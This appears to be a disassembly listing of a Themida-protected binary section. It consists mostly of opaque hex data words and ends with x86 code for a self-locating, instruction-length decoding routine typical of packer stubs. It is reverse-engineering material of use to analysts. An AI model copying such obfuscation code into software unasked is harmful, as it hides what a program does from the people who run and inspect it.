dd 7, 81329Eh, 25A80000h, 27B64F7Ch, 70715BFAh, 32FEA540h
dd 49A402C5h, 0DD52DC25h, 0C46B0634h, 1040412Bh, 739E075h
dd 8BF9C56Ch, 6549A3E2h, 3877FC7Fh, 10D7A6D7h, 0D37DCB26h
dd 52EB18A1h, 0DB7112ABh, 0C36A0332h, 0C739402Ah, 0C067FA2Ch
dd 0BF5A8932h, 94957F18h, 7728CF62h, 94C670BEh, 1D806C01h
dd 4D49A3FAh, 47E0871Ah, 0C417BFA6h, 0BBC319AEh, 27FFFFFEh
dd 0C4ADA225h, 7FFF8F99h, 2E49A95h, 2C100000h, 2AD369FCh
dd 58715BFAh, 0A3F22F8Ch, 5B53349h, 0A3F2A617h, 341EF149h
dd 0B1E14FD9h, 0AADA8116h, 53D6640Bh, 526EAD08h, 0CE14FE20h
dd 49A39D71h, 2BD26595h, 6C02FA82h, 96F9CF7Eh, 0EDC39647h
dd 0FA62ABF3h, 890F90BFh, 94000005h, 963DD263h, 8F36CB6Ah
dd 8A31C661h, 862DC25Bh, 922DC253h, 0F98CBF7Ah, 0F590BD64h
dd 0EC87B960h, 0E580B057h, 27158350h, 439748B6h, 2C18EA01h
dd 3BC269FCh, 2AD86D08h, 0F21B8C7Ah, 0CB6649A3h, 4BB97A4Dh
dd 0F8E283D8h, 9B30C7F7h, 8930C1F4h, 872652FBh, 10699C9Dh
dd 89BC807Ah, 4FB851F8h, 9D3E52D0h, 828C45F6h, 3BD06194h
dd 0AEC8993Ch, 2204319h, 0AA70000h, 1CE88F83h, 0BEF9A455h
dd 0BB3D0BEEh, 189DBB1Ah, 209C0h, 830A2400h, 0A049F98Fh
dd 942DD46Dh, 0F1F364AAh, 7D3E49A3h, 3408F24Dh, 0CED6A670h
dd 4CED862Dh, 9512D9A5h, 0C8ABBEF9h, 0F220C97Eh, 2D17B057h
dd 9DCA01D4h, 1D0DB18h, 53030000h, 0B4EBF465h, 36C3F4Ah
dd 0C1450B41h, 632F198Ah, 0B34E7C25h, 2B1FA6C9h, 0CEFB1295h
dd 2F13FF5Bh, 0EA4F3D45h, 2549A3E5h, 6D1DAB52h, 0A3E50E7Fh
dd 0F0865949h, 0A3E59102h, 1F09DC49h, 0F99712D9h, 0F895C2BEh
dd 0FE97CA51h, 51DFB057h, 0C24C2FD5h, 9DC7D9FCh, 1740318h
dd 0A670000h, 49F98F83h, 835F03C6h, 11A0D56Eh, 39C43DEh
dd 446AD319h, 0D2A549A3h, 0F5985F2Bh, 4E31BEF8h, 68D7FEC0h
dd 48F1189Eh, 0A1957F1Ah, 142h, 19A22505h, 0AFE33D31h
dd 1040412Bh, 1747CE75h, 9A22EB80h, 0B35C0CA2h, 0AA43EA85h
dd 32D07AC0h, 0CD7D47A2h, 9C026EDFh, 50E6B943h, 9C01F162h
dd 7F693C43h, 3F0BB285h, 439C02D2h, 0CC121CFFh, 1FB6AC09h
dd 25D3h, 820A3700h, 9B44F48Ah, 0A0E6D06Fh, 47A3011Eh
dd 3CF7649h, 439CE196h, 9056E0C3h, 1FB5D145h, 0A197h, 0FC2CFB00h
dd 8B34C269h, 6DDECC5Ch, 0B849A3F2h, 82B544E5h, 0C5AF48EFh
dd 590091C4h, 5C03A2D2h, 7D12A5D5h, 0A3EDF391h, 0E2679749h
dd 0EB7219B4h, 0DF8021BCh, 1F9814Ah, 0E412BB6Bh, 8F195F49h
dd 0CA479C52h, 1D50D909h, 0AC42E384h, 0A035D003h, 552BC6F9h
dd 0FA67E2A5h, 69AD2E5Dh, 74000003h, 761DB243h, 6F16AB4Ah
dd 6A11A641h, 660DA23Bh, 720DA233h, 0D96C9F5Ah, 0D5709D44h
dd 0CC679940h, 0C5609037h, 7F56330h, 43974696h, 25F8CAE1h
dd 10B74A7Ch, 598C8D77h, 7112ABDAh, 720535DCh, 0FC2C6BDDh
dd 6F99E7A1h, 0CF70F0C6h, 0D671A128h, 0BEEA9341h, 0BEF1781Fh
dd 42E37C23h, 0AEA41258h, 3EC649A3h, 0BB16DB7Eh, 0B95A6014h
dd 0FDE33523h, 0DBAE47A1h, 0FC2CD446h, 0BAC4B7Bh, 1AADDD64h
dd 3C34BC85h, 1573F6A6h, 81B881DEh, 8C42CCA2h, 9C3DD6D5h
dd 5A44DF0Dh, 0A2DC6A14h, 0BC522547h, 9530630Ch, 108155EEh
dd 5B439CABh, 0B9859E88h, 439CAB4Ch, 23CA6390h, 31D8699Ch
dd 0AF6FB98Ah, 27182609h, 12B94C7Eh, 9F368F79h, 3D1FB603h
dd 33h, 8A820AA1h, 18406F4h, 0F8A147A3h, 0F18A31CCh, 933A0D07h
dd 9CE15AC7h, 0D4719E43h, 0DE77A62Dh, 43CD8637h, 0EC3A1DC3h
dd 0B5D0EBEAh, 0ECF11Fh, 25550000h, 78F14C7Ch, 5DB6E246h
dd 9A249EAh, 57EE1E1Fh, 5BF629B0h, 6AFD2DB4h, 790C3CC3h
dd 6F0E3AE3h, 0AF1F67C8h, 0D971ADAFh, 0D71FCF38h, 0F5ECA9BFh
dd 7A18040Bh, 1E49A398h, 18C157EEh, 12AB52EBh, 4A7A2128h
dd 0D35B04ABh, 0EC9545DBh, 710436BDh, 0A69029D0h, 0A2777260h
dd 55EABD47h, 0EE1E048Ch, 7020B657h, 52E517C0h, 9C670D7Eh
dd 0F6855843h, 0FD432DC8h, 4194C96Dh, 9B4BE1B4h, 0B98CFDEBh
dd 4D73D92h, 4BE6191Ah, 81DC0FB6h, 749CFDBAh, 25FB9C2Ah
dd 0F07FC99Fh, 0C173F423h, 0CC000001h, 0CE750A9Bh, 0C76E03A2h
dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch
dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 439743EEh, 2C502239h
dd 29D268F9h, 0AC4574FDh, 731A210Bh, 0F83ADC43h, 0A503699Ah
dd 0B152E316h, 820AAA1Ch, 6E71F48Ah, 59BFD865h, 4DFD05EFh
dd 0F6E071A4h, 0A2D62EB0h, 6C84B47h, 1F2A8648h, 8C9203F1h
dd 0ADD439Ch, 0B2857F69h, 8CD23F0Bh, 6FFF439Ch, 980194C6h
dd 1D5A99F2h, 4CA791C8h, 7CD9FCC2h, 0C7031FB6h, 67000000h
dd 0C269FC2Ch, 0C66D083Bh, 0A3EE5CFAh, 35D00049h, 2EC9F9A0h
dd 5E56DE87h, 0BF445C8h, 11F99756h, 49D44DFh, 0C1717963h
dd 8AB22311h, 2AFD49A3h, 6B0CFA40h, 845747A2h, 0A69E26EFh
dd 0A2356710h, 5700B0B8h, 62A89225h, 4194C0BDh, 5F0FA578h
dd 92B00071h, 8E784B3Dh, 17AADD86h, 45A8DB82h, 5C98E49h
dd 0D6AC4D02h, 0F07F21C6h, 0B944C5F4h, 0C4000000h, 0C66D0293h
dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh
dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 439742E6h
dd 2C481A31h, 4FD268F9h, 7221BABDh, 0E10D9CDDh, 1C069F46h
dd 92BE6715h, 24B34CF3h, 1CB55CF5h, 66013132h, 0FC2C5FD1h
dd 0B3BC269h, 860ED76Ch, 2CD36EA0h, 6E5CF293h, 47974EC3h
dd 8910B78Ah, 8229BE59h, 6D1DB352h, 974E0E7Fh, 9C865943h
dd 8983B783h, 43D62E8Dh, 7C1B4BF5h, 801040E7h, 89082192h
dd 0F8996CD8h, 29BCA51h, 99A7F05Bh, 53E87FAFh, 158C22A5h
dd 76DF76A6h, 5640CA18h, 0EB922555h, 36Ah, 7C5EE000h, 0C36AFB2Ch
dd 0D2790C3Ch, 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah
dd 1A84170h, 0AB14C7Ah, 11B85783h, 37176867h, 34890000h
dd 715E6824h, 2C890000h, 0E2895224h, 4C281h, 0EA830000h
dd 24148704h, 2434895Ch, 4621B850h, 3E35565Dh, 895051E2h
dd 24048BC5h, 4C481h, 8B540000h, 0C4812434h, 4, 683468h
dd 242C8900h, 0FF08468Fh, 835E2434h, 34FF04C4h, 0C4835D24h
dd 0CCDDE904h, 67EEFFFAh, 7663E2A8h, 46B8E376h, 3060CB0h
dd 93E0FFC5h, 1579D21Ch, 0B0DA807h, 0EB496153h, 2Dh, 0AE0DD000h
dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh
dd 89937EE5h, 8168009Dh, 0BD146726h, 1C3D03B2h, 9FE90B7Eh
dd 6800000Ah, 60CB1E6h, 0FACC82E9h, 0B30668FFh, 78E9060Ch
dd 68FFFACCh, 60CB406h, 0FACC6EE9h, 0B4A368FFh, 64E9060Ch
dd 68FFFACCh, 60CB597h, 0FACC5AE9h, 0B6A768FFh, 50E9060Ch
dd 68FFFACCh, 60CB75Ah, 0FACC46E9h, 0B92C68FFh, 3CE9060Ch
dd 68FFFACCh, 60CBA41h, 0FACC32E9h, 0CA9DAFFh, 9A4D077h
dd 49FCD74h, 99C86Fh, 91C46Bh, 0FDB8D06Bh, 0FBA237CAh
dd 0F39A2FCEh, 0EA9126C1h, 0B9861BBAh, 40EC5D4Bh, 20374397h
dd 8A820A4Eh, 623606F4h, 2AFD4797h, 1CBBEB94h, 14AFDD86h
dd 4C7C232Ah, 0E16912B9h, 0C26553E9h, 79418AB0h, 376710A6h
dd 34640BA0h
dd 0C36CFAA1h, 0A6170595h, 0F13D8A90h, 75D67D1Eh, 4986B524h
dd 7A640502h, 41D7CF57h, 8F32A391h, 0AA7D3D8Ah, 1CCAB8C0h
dd 0E73B898Eh, 3A8B3E14h, 406FEE4Eh, 90DBFh, 80154600h
dd 7D1844EBh, 781341E8h, 740D3CE3h, 6C0538DFh, 69243CD7h
dd 5F069B36h, 57FE9332h, 56FD9225h, 2DFA8F26h, 4160D1BFh
dd 94AB4397h, 69FC2CC2h, 5E8B34C2h, 6506A1D1h, 3A3B25BEh
dd 28D66B0Ah, 0CB3527Fh, 0DE668973h, 0B86250E6h, 7347A307h
dd 0C02DF9A0h, 0ED439CD7h, 1BBA3C0Ah, 0C11FB5D7h, 37h
dd 8A820A25h, 6C9B44F4h, 1FA1E7D1h, 4A47A301h, 9704D077h
dd 0C4439CE1h, 5FE257E1h, 5E55E6F1h, 95EED80Bh, 1FB63840h
dd 0CE9Ah, 993FC200h, 6DB2FD26h, 2CA6725Ch, 3BC269FCh
dd 3FC66D08h, 4AD1780Fh, 38E67B1Ah, 7DAB48B5h, 0A3CE1E8Fh
dd 2D966949h, 25512E17h, 0A94AE38Ah, 47BF79BFh, 235349A3h
dd 1545EE84h, 0E3919882h, 0C76E073Ah, 1343442Eh, 9C24CD74h
dd 0DB5E0EA4h, 4B399400h, 49A329DAh, 92E95225h, 0CC12FC13h
dd 47A2F692h, 0FCC55A2Dh, 0F8E67C74h, 4195284Bh, 84F17B16h
dd 0B0068655h, 9DD0790Fh, 95C86F04h, 208926FCh, 231F07Eh
dd 7ED81h, 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h
dd 4CE518BFh, 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h
dd 0DDA6F06h, 3F40B19Fh, 748B4397h, 68F92CA2h, 61A44FD2h
dd 0CBEF834Ah, 333DAE1h, 0A5DCF64h, 6F48A82h, 47A30184h
dd 6935DCAFh, 439CE0FCh, 0C2F09929h, 0FDE78027h, 835294A2h
dd 591FB5D1h, 0F3h, 0FAAD881h, 9EA45A6h, 37212DF1h, 69FC2C6Bh
dd 6D083BC2h, 66FF2ED7h, 233C26BFh, 0A3EE9D57h, 66013149h
dd 5BFA2AD1h, 0DA6E42C5h, 7A1E3FDAh, 0A3EB1B8Ch, 0F2936649h
dd 0BE46EF08h, 81AD30C6h, 5A51E12Eh, 630AA5D3h, 373F29CAh
dd 0A27C0F49h, 790FAA47h, 0E5A6DD24h, 9ADB87F0h, 89A3056Bh
dd 7BA952E8h, 0B6A039E0h, 665EE6AFh, 7FDAE2D0h, 3E114194h
dd 5A48F8A8h, 3D926EE9h, 76776134h, 761DB243h, 0B9BBEA43h
dd 755D998Bh, 0C8E7FED4h, 0D403F07Fh, 6ED53h, 60F52600h
dd 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh, 49041CB7h
dd 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h, 3E40B19Fh
dd 748B4397h, 73F92CA2h, 0A3F21485h, 90295849h, 2DC850E9h
dd 22ABFA4Bh, 0AA4BECF9h, 0B93E6E15h, 0AE47EE89h, 66B92A18h
dd 310449A3h, 2C89FB90h, 158674FCh, 5949A3F2h, 34078F2Ah
dd 3565EC93h, 0B4210DA2h, 0D649A3F2h, 0D2C0564Eh, 47976238h
dd 0C16A00D3h, 0BA61F691h, 9B44EB8Ah, 97851B13h, 41965745h
dd 54673D10h, 66F07D93h, 650B637h, 58890000h, 558128BDh
dd 507E25BAh, 4A7920B5h, 40731AAFh, 5D7510A5h, 41D66FA2h
dd 3BD06D9Ah, 3ACF6294h, 2FC46393h, 9506F462h, 0E043973Eh
dd 0FC2CF7C9h, 0B134C269h, 4A6B6E0Bh, 0D9DAC474h, 0E0670EA9h
dd 0EB7219B4h, 0CA7B22BDh, 0EC190711h, 3EF7B051h, 8A1646F0h
dd 4418B3E1h, 49A311D3h, 0A74EE917h, 0D0BE860Eh, 49A3115Fh
dd 9536D7AAh, 0A0D40100h, 130619AFh, 6A000000h, 1BB32h
dd 97C36C00h, 963DD80Ah, 1CB55CFDh, 7AE76632h, 0B749A3F2h
dd 0F8695707h, 4349A3F1h, 0F22B9C70h, 416F49A3h, 614B1EA6h
dd 39F6B63Eh, 251B2DF0h, 5C0CA243h, 944DBEACh, 9C8A49A3h
dd 49A3942Bh, 481BA376h, 47D185Eh, 51244797h, 43E212BBh
dd 3DD804ADh, 0F59E4C53h, 44452FC2h, 31DA8114h, 2D1BB1A9h
dd 4195F9DBh, 9CFDD3A6h, 0E6F07A76h, 55C36B7h, 64950000h
dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h
dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h
dd 443973Dh, 0FC2C1BEDh, 0B3BC269h, 5B14C56Ch, 0A63363CDh
dd 31C4F473h, 0AC5AEF90h, 9138D703h, 20B50EF8h, 0BA19AEC0h
dd 14h, 4C7C251Eh, 0C43523B9h, 0F49A3F2h, 0DD57523Ch, 0CD000000h
dd 0F48A820Ah, 35A69444h, 7949A3F2h, 710AB14Ch, 0E62C16E9h
dd 47976216h, 5CF926CFh, 67FE2EB5h, 1D8627C0h, 0AD3D281Dh
dd 110BF5AEh, 0CFFFA83Eh, 0FA3F9270h, 0D475B1B9h, 0CD68983Fh
dd 0FDF57D26h, 6AE6E467h, 0FF1B9C66h, 97A2A011h, 7718EB43h
dd 2CD5858Dh, 24BD64FDh, 0D67070BBh, 9A84A40Ch, 8AC9B154h
dd 0FF956841h, 0FA8F2656h, 0B0BC2353h, 70F53006h, 2CD57C1Dh
dd 248DE4A4h, 48C01E3Dh, 938E11A7h, 279886FFh, 723D8A81h
dd 9DA6369Fh, 0F2E0E8D2h, 3B891D44h, 21663C0Fh, 99EE4E89h
dd 44CE96Ah, 54850000h, 59852CC1h, 548229BEh, 4E7D24B9h
dd 44771EB3h, 69811CB1h, 55EA7BAEh, 4FE481AEh, 46DB76A8h
dd 43D86F9Fh, 0A91A0876h, 0F443973Ch, 1C320BDDh, 0A8000001h
dd 0F48A820Ah, 97623606h, 8535FD47h, 97412697h, 0CA9E7143h
dd 43974159h, 9A30D1A4h, 9026C1F1h, 7920B7E7h, 48EFF6E0h
dd 37E77D18h, 9741D849h, 0CF882343h, 5475B731h, 0FD1600A1h
dd 3ED4CC54h, 8A9AAD50h, 0FB916441h, 0EE832252h, 0D9801747h
dd 0DE72A24Bh, 8A7A7FF0h, 56F7CA3Dh, 0C9C1496Ch, 30008333h
dd 5040184Dh, 12C006F0h, 0DD3B894Dh, 0F9F9340Ah, 1A49EE4Eh
dd 39999h, 4A1D200h, 19CC86Fh, 0FC97C56Ch, 0F891C067h
dd 0F889BC63h, 0F5B0C863h, 0F39A2FC2h, 0EB9227C6h, 0E2891EB9h
dd 0B17E13B2h, 3BE45543h, 182F4397h, 69FC2C46h, 5BFA2AD3h
dd 0A1D15871h, 0F5AE5F06h, 3ACDFD2Bh, 0D774F7A5h, 0B506B78Ch
dd 0E8ED4630h, 0F219AEEDh, 47h, 8A820A56h, 347571F4h, 4591CDD5h
dd 9165535Bh, 0A847A243h, 68963FD5h, 0DE4C38CDh, 22439BB3h
dd 3ABD53F2h, 9779D40Dh, 0E6EDD7FFh, 0CF76113Fh, 96C9841h
dd 0B38DB1FDh, 2BBA5B76h, 1CB55CFBh, 2FC3732h, 2CAD0000h
dd 32C067FAh, 0D8C25D89h, 7B10A7D7h, 6A11A4D4h, 7F14B3E3h
dd 0A0362EB6h, 8930C7F7h, 10FE06F0h, 47A30866h, 0DBA74E21h
dd 439CD76Eh, 0F880B9Bh, 443677F0h, 8D9BF6E0h, 0B5F98A4Bh
dd 4B501Fh, 0AB40000h, 6F48A82h, 47A30184h, 6935DCAFh
dd 439CE0FCh, 0CE751040h, 0EAB51847h, 0F64E5C69h, 0CA8E35D6h
dd 3065E937h, 0D4EA2BEh, 987B21C2h, 388D488Eh, 923B1FB6h
dd 8821C865h, 0FFAA9Eh, 22D20000h, 9C7EC334h, 513B0E43h
dd 69FC2C85h, 0DB8434C2h, 0C8390DA8h, 0C49A3F2h, 0EEC149DCh
dd 35D00304h, 3B3A1C9Fh, 16D0D1Ah, 4777FE17h, 528209B0h
dd 42741DB3h, 856F08AFh, 67D8927Eh, 3C6C49A3h, 0F89013A9h
dd 6D083A90h, 0F61E1E04h, 2E5E050Ch, 0BF47F097h, 0FE8131C7h
dd 0AC9AD2C7h, 49A3463Bh, 464AB386h, 6F48AD7h, 49A3EA95h
dd 0DD230DE0h, 47A2CAEFh, 21D1673Ah, 9CBBC233h, 0AB3A0D43h
dd 0EDF4DE79h, 0CD68963Fh, 80A38D26h, 47E612F8h, 0D06607A0h
dd 951D52E2h, 30C69941h, 2CC15487h, 0E9BF5285h, 0F07EBA8Eh
dd 0C75CDD0Ch, 1, 0FAA136CFh, 0F39A2FCEh, 0EE952AC5h, 0EA9126BFh
dd 0EE891EB7h, 4DE81BD6h, 49E411B8h, 48DB0DB4h, 49DC0CB3h
dd 8B79E7B4h, 4397391Ah, 2C7C4E65h, 0AE477AF9h, 9CCE770Dh
dd 0F2B52614h, 2D0049A3h, 624CE58Ch, 384B45Bh, 29738D7h
dd 0C2820A90h, 0A1FD0099h, 9228C916h, 0A29522A4h, 63963F47h
dd 0A8922BD2h, 6834DBAEh, 439C74FBh, 0C0EF9828h, 0FBE57E25h
dd 0F8A196A0h, 0F28B32CBh, 3D26AF08h
dd 0C6B41FB6h, 18000000h, 0C269FC2Ch, 0C25D8B34h, 9798821Bh
dd 9C2AD164h, 0F28DFEECh, 5D849A3h, 0EF1BD51Bh, 7FAF49A3h
dd 7CAC53E8h, 882FCEFBh, 0FEA74EEFh, 38E87E76h, 0A3EED94Ah
dd 67512449h, 7CFFAF5Fh, 168F450Fh, 0BB2C008Dh, 649A2FCh
dd 0DB7C1745h, 0DCBDABF1h, 350847A1h, 44C3F69Fh, 38DF8011h
dd 0E5AEB59Fh, 0E1CF655Dh, 4194323Ch, 7A1340E9h, 56503AD3h
dd 1144ED83h, 0E41EA80h, 4933CC73h, 0CD689B42h, 7F8EB2F7h
dd 981948F0h, 0B2h, 861BBAEBh, 7F14B3DFh, 7A0FAAD8h, 7409A4D3h
dd 72079ACDh, 0D104BFD7h, 0D704AB40h, 0D002A93Eh, 0C9F9A035h
dd 5ECC992Eh, 9737FF70h, 61334A43h, 0D368F92Ch, 0D469FC2Ch
dd 69FC2C62h, 5E8B34C2h, 0A4D4D5BFh, 0B158F723h, 19E27718h
dd 15039991h, 4797624Dh, 38A3104h, 0F89F34D3h, 0BA862DC8h
dd 48889A20h, 0E55AE477h, 0CC730E3Ch, 18484933h, 913AE87Dh
dd 8821C863h, 0DA6D9D9Eh, 0E47DAC33h, 0BF89D23Dh, 4ED16191h
dd 48F4C954h, 0AB1CF06Ch, 0F636246Ch, 0C76E0935h, 57EC8D2Eh
dd 3EE580B0h, 0DBDh, 5947F700h, 36246BE8h, 0AA766033h
dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah
dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
dd 101Bh, 68243C89h, 770Bh, 68240489h, 6F5Fh, 68241489h
dd 60CB152h, 8324048Bh, 0EC8304C4h, 24248904h, 4240483h
dd 0C789575Ah, 242C8157h, 45EA6916h, 8108428Fh, 69160842h
dd 8B5F45EAh, 89512414h, 4C181E1h, 83000000h, 0C8704C1h
dd 48B5C24h, 0E0895024h, 405h, 40500h, 4870000h, 0FCE95C24h
dd 5BFFFAC1h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h, 18B8A99Bh
dd 3060CBBh, 0E2E0FFC5h, 9854510Ch, 71261107h, 0F5607670h
dd 270C7619h, 101612DFh, 1948745Eh, 0C34A0970h, 580E2427h
dd 913FEAFAh, 4A4835D0h, 0FD738206h, 0F6706F2Ah, 2E56C4E6h
dd 8624C875h, 0AC1CCD85h, 8D0DCDA7h, 0CBC978Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 860FCBh, 81000000h, 0FF3D1FDBh, 0D98D8943h, 6A06071Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 8B71C351h, 72D8DB5h, 1D85C706h, 88060710h
dd 8B000063h, 723999Dh, 585C706h, 60733h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0FC3C350h, 68Bh, 0F1B58B00h, 0FF060729h, 72039B5h, 319D8906h
dd 0FF060711h, 7185995h, 0B19D8906h, 6A060703h, 6995FF00h
dd 8B06070Dh, 2A4FEBC0h, 5F2F7590h, 69586BA7h, 0C642971Ah
dd 4E378950h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh
dd 2809FDAFh, 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh, 0B90A5D3Ch
dd 10CD1DBh, 2F7F4C0Eh, 288F2539h, 0CC8B7F08h, 510994h
dd 99186C6Dh, 0C8E90535h, 88000001h, 7 dup(88004188h)
dd 4188h, 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dword_5985A8 dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
; DATA XREF: Themida_:0053CD24o
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 1000000h, 14h dup(0)
dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0)
dd 0E9000000h, 353h, 0E855h, 815D0000h, 0CBEC3EDh, 85C76006h
dd 60CBE10h, 0
dd 663E8166h, 0F850FA1h, 0C7000000h, 0CBE1485h, 606h, 24E900h
dd 858D0000h, 60CBE18h, 68858D50h, 50060CBEh, 0E8006A56h
dd 1Dh, 2510C483h, 0FFh, 0BE148589h, 361060Ch, 0CBE14B5h
dd 10858B06h, 5D060CBEh
db 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_59870E
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_59871A
; ---------------------------------------------------------------------------
loc_59870E: ; CODE XREF: Themida_:005986F7j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_59871A: ; CODE XREF: Themida_:00598709j
push ebx
push esi
push edi
loc_59871D: ; CODE XREF: Themida_:00598772j
; Themida_:0059878Ej ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_598730: ; CODE XREF: Themida_:00598757j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 60CBF7Ah
lea ebp, [ebp+60CBDF0h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_59875D
inc cl
cmp cl, 0Bh
jb loc_598730
loc_59875D: ; CODE XREF: Themida_:0059874Cj
cmp cl, 0Bh
jz loc_5987BA
cmp al, 66h
jnz loc_59879B
cmp byte ptr [ebp-5], 0
jnz loc_59871D
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_598793
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_59871D
; ---------------------------------------------------------------------------
loc_598793: ; CODE XREF: Themida_:00598780j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_59879B: ; CODE XREF: Themida_:00598768j
cmp al, 67h
jnz loc_59871D
cmp byte ptr [ebp-6], 0
jnz loc_59871D
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_59871D
; ---------------------------------------------------------------------------
loc_5987BA: ; CODE XREF: Themida_:00598760j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5987E6
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5987EB
; ---------------------------------------------------------------------------
loc_5987E6: ; CODE XREF: Themida_:005987C5j
movzx edi, al
shr edi, 1
loc_5987EB: ; CODE XREF: Themida_:005987E1j
push ebp
call $+5
pop ebp
sub ebp, 60CC032h
lea ebp, [ebp+60CBCF0h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_59896D
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_5988B1
dec ecx
jz loc_598894
dec ecx
jnz loc_598904
cmp byte ptr [ebp-2], 0
jnz loc_598900
cmp byte ptr [ebp-5], 0
jz loc_598873
mov byte ptr [ebp+0Bh], 2
loc_598873: ; CODE XREF: Themida_:00598869j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 60CC0BEh
mov dword ptr [ebp+60CBE10h], 1
pop ebp
jmp loc_598904
; ---------------------------------------------------------------------------
loc_598894: ; CODE XREF: Themida_:0059884Ej
cmp byte ptr [ebp-2], 0
jnz loc_5988DE
cmp byte ptr [ebp-5], 0
jz loc_5988DE
mov byte ptr [ebp+0Bh], 2
jmp loc_5988DE
; ---------------------------------------------------------------------------
loc_5988B1: ; CODE XREF: Themida_:00598847j
cmp byte ptr [ebp-2], 0
jnz loc_5988F7
cmp byte ptr [ebp-5], 0
jz loc_5988E6
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5988DE
mov [ebp+0Bh], cl
loc_5988DE: ; CODE XREF: Themida_:00598898j
; Themida_:005988A2j ...
inc byte ptr [ebp+0Bh]
jmp loc_598904
; ---------------------------------------------------------------------------
loc_5988E6: ; CODE XREF: Themida_:005988BFj
cmp dl, 5
jnz loc_598904
mov [ebp+0Bh], dl
jmp loc_598904
; ---------------------------------------------------------------------------
loc_5988F7: ; CODE XREF: Themida_:005988B5j
cmp dl, 6
jnz loc_598904
loc_598900: ; CODE XREF: Themida_:0059885Fj
mov byte ptr [ebp+0Bh], 3
loc_598904: ; CODE XREF: Themida_:00598855j
; Themida_:0059888Fj ...
dec byte ptr [ebp+0Bh]
jz loc_598932
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_598914: ; CODE XREF: Themida_:0059892Aj
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_598914
mov esi, edx
loc_598932: ; CODE XREF: Themida_:00598907j
and al, 0FEh
cmp al, 0F6h
jnz loc_598967
cmp edi, 7Fh
ja loc_598967
test bl, 38h
jnz loc_598967
cmp byte ptr [ebp-7], 0
jz loc_598961
movzx eax, byte ptr [ebp-4]
jmp loc_598964
; ---------------------------------------------------------------------------
loc_598961: ; CODE XREF: Themida_:00598952j
push 1
pop eax
loc_598964: ; CODE XREF: Themida_:0059895Cj
mov [ebp-1], al
loc_598967: ; CODE XREF: Themida_:00598936j
; Themida_:0059893Fj ...
mov dl, [ebp+17h]
